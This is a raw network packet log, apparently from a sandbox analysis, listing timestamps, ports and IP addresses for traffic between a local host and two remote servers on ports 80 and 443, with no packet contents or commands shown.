Dec 20, 2024 07:12:19.414985895 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.415939093 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.415951967 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.416088104 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.416110992 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.416141033 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.417107105 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.417171955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.417172909 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.417226076 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.418303013 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.418375969 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.418409109 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.418459892 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.419433117 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.419482946 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.419611931 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.419665098 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.420614004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.420674086 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.420702934 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.420751095 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.421762943 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.421813011 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.421864033 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.421911001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.422909975 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.422957897 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.422997952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.423043966 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.424087048 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.424135923 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.424204111 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.424251080 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.425230026 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.425291061 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.425369978 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.425421953 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.428138971 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.478447914 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.478471994 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.504511118 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.504575968 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.504592896 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.504829884 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.504909992 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.505157948 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.505196095 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.505244970 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.505259991 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.557163000 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.557282925 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.557492018 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.557495117 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.557533026 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.557543039 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.557590961 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.558629036 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.558700085 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.558780909 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.558839083 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.559799910 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.559871912 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.559914112 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.559973001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.560950994 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.561038971 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.561070919 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.561125994 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.562109947 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.562165022 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.562228918 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.562278986 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.563265085 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.563318968 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.563404083 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.563457012 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.564443111 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.564501047 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.564565897 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.564641953 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.565582037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.565643072 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.565715075 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.565773964 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.566775084 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.566842079 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.566911936 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.566968918 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.567913055 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.567985058 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.568037033 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.568094015 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.569070101 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.569124937 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.569189072 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.569247007 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.570234060 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.570286989 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.570322990 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.570370913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.571403027 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.571482897 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.571643114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.571698904 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.572571039 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.572628021 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.572690010 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.572797060 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.573721886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.573775053 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.573788881 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.573828936 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.574902058 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.574959040 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.575020075 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.575071096 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.576050043 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.576102972 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.576181889 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.576236963 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.577223063 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.577277899 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.577322006 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.577369928 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.578376055 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.578439951 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.578531981 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.578592062 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.579560041 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.579612017 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.579636097 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.580034971 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.580703974 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.580775976 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.580883980 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.580935955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.581860065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.581945896 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.581990004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.582045078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.583024025 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.583081961 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.583157063 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.583214045 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.584208012 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.584265947 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.584328890 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.584383965 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.585344076 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.585408926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.585463047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.585521936 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.586519957 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.586580038 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.586589098 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.586647987 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.587702990 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.587804079 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.587836027 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.587877035 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.588859081 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.588921070 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.589155912 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.589212894 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.589999914 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.590054035 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.590116978 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.590174913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.591164112 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.591229916 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.591290951 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.591346979 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.592339039 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.592416048 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.592459917 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.592509031 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.593508005 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.593564034 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.593641996 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.593697071 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.594654083 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.594707012 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.594767094 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.594816923 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.595822096 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.595879078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.595957994 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.596008062 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.596962929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.597018957 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.597115993 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.597167969 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.598182917 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.598238945 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.598315954 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.598371029 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.599311113 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.599376917 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.599438906 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.599490881 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.600491047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.600544930 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.600590944 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.600650072 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.601659060 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.601715088 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.601778984 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.601831913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.602793932 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.602885962 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.602938890 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.602994919 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.603976965 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.604033947 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.604091883 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.604177952 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.605138063 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.605189085 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.605227947 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.605283976 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.606292009 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.606348991 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.606411934 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.606463909 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.607446909 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.607503891 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.607585907 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.607640028 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.608602047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.608661890 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.608731031 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.608783960 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.609776020 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.609829903 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.609888077 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.610001087 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.610933065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.610991001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.611042023 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.611093044 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.612124920 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.612179041 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.612186909 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.612226963 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.613240004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.613295078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.613358974 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.613413095 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.614418983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.614471912 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.614537954 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.614589930 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.615570068 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.615629911 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.615708113 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.615753889 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.616741896 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.616796017 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.616859913 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.616910934 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.617906094 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.617959976 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.739739895 CET	49789	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.739811897 CET	443	49789	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.739918947 CET	49789	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.740550995 CET	49789	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.740575075 CET	443	49789	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.749253035 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.749317884 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.749403954 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.749458075 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.749820948 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.749872923 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.749900103 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.749931097 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.751018047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.751080036 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.751144886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.751202106 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.752151966 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.752213001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.752262115 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.752321005 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.753375053 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.753427982 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.753432989 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.753485918 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.754501104 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.754575968 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.754635096 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.754690886 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.755652905 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.755709887 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.755788088 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.755846024 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.756841898 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.756901026 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.756966114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.757024050 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.757951975 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.758016109 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.758116007 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.758174896 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.759159088 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.759195089 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.759218931 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.759248972 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.760272026 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.760345936 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.760413885 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.760457039 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.761466026 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.761512995 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.761569023 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.761619091 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.762661934 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.762710094 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.762773037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.762820005 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.763776064 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.763834953 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.763885975 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.763946056 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.764935017 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.764993906 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.765057087 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.765115023 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.766093969 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.766153097 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.766231060 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.766288042 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.767256975 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.767323971 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.767389059 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.767447948 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.768413067 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.768474102 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.768552065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.768609047 CET	49777	80	192.168.2.4	31.41.244.11
